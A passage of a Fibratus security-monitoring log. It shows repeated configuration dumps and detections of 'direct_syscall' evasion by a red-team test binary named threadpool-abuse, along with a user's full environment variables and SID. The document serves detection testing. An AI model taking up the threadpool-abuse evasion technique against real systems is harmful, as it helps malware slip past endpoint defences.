Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:47:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:47:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:47:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:47:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:47:33+01:00 level=info msg=bootstrapping with pid 21628. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:47:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-mem=>false buffer-size=>512 enable-vamap=>true enable-image=>true enable-fileio=>true flush-interval=>1s enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-threadpool=>true min-buffers=>16 enable-thread=>true enable-net=>true enable-audit-api=>true stack-enrichment=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false method=>POST timeout=>5s] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 passive=>false exchange=>fibratus enabled=>false timeout=>5s routing-key=>fibratus vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient durable=>false] elasticsearch=>[ index-name=>fibratus template-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false enabled=>false sniff=>false timeout=>5s flush-period=>1s trace-log=>false bulk-workers=>1 healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-allocs=>false skip-registry=>false scan-timeout=>10s fastscan=>true enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:47:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:47:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:47:39+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 954383 + Pid: 7724 + Tid: 19680 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:47:38.618146 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 25a47be1a80, subprocess_tag➜ 0, task_id➜ 25a47bf3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 7724 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:47:58+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:47:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:47:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:49:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:49:11+01:00 level=info msg=bootstrapping with pid 11092. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:49:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-handle=>false enable-net=>true buffer-size=>512 enable-registry=>true flush-interval=>1s enable-threadpool=>true min-buffers=>16 enable-dns=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true max-buffers=>36 enable-audit-api=>true enable-vamap=>true enable-mem=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info log-stdout=>true formatter=>text max-size=>100] + output ......................... [ amqp=>[ durable=>false passive=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus exchange-type=>topic timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false timeout=>5s method=>POST endpoints=>[]] elasticsearch=>[ bulk-workers=>1 timeout=>5s healthcheck-timeout=>5s sniff=>false trace-log=>false template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false flush-period=>1s enabled=>false index-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-files=>false skip-registry=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-mmaps=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:49:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:49:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:49:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 974746 + Pid: 22068 + Tid: 8436 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:49:31.8995046 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 20b2f621a80, subprocess_tag➜ 0, task_id➜ 20b2f633aa8 + Metadata: evasions: [direct_syscall] + + Pid: 22068 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:49:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:49:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:49:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:50:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:50:56+01:00 level=info msg=bootstrapping with pid 10756. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:50:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ to=>[] port=>25 content-type=>text/html enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true enable-net=>true enable-registry=>true enable-image=>true stack-enrichment=>true max-buffers=>36 enable-threadpool=>true enable-handle=>false enable-thread=>true flush-interval=>1s enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false buffer-size=>512 min-buffers=>16 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 log-stdout=>true max-size=>100 level=>info] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus passive=>false exchange-type=>topic tls-insecure-skip-verify=>false enabled=>false vhost=>/ timeout=>5s durable=>false exchange=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ index-name=>fibratus bulk-workers=>1 trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus healthcheck=>true enabled=>false sniff=>false healthcheck-interval=>10s timeout=>5s] http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false serializer=>json method=>POST enable-gzip=>false enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-procs=>[] skip-registry=>false skip-mmaps=>false fastscan=>true excluded-files=>[] scan-timeout=>10s skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:50:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:50:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:51:02+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 989154 + Pid: 16176 + Tid: 20200 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:51:02.0872003 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 2498aa91a80, subprocess_tag➜ 0, task_id➜ 2498aaa3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 16176 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:51:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:51:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:51:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:52:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:52:25+01:00 level=info msg=bootstrapping with pid 1728. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:52:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 to=>[] use-template=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-registry=>true enable-thread=>true enable-threadpool=>true enable-dns=>false enable-vamap=>true min-buffers=>16 flush-interval=>1s enable-fileio=>true buffer-size=>512 enable-mem=>false stack-enrichment=>true enable-net=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text level=>info log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json method=>POST endpoints=>[]] amqp=>[ routing-key=>fibratus exchange-type=>topic exchange=>fibratus timeout=>5s enabled=>false vhost=>/ passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false url=>amqp://localhost:5672] elasticsearch=>[ flush-period=>1s healthcheck=>true index-name=>fibratus bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s gzip-compression=>false template-name=>fibratus trace-log=>false healthcheck-interval=>10s sniff=>false] console=>[ 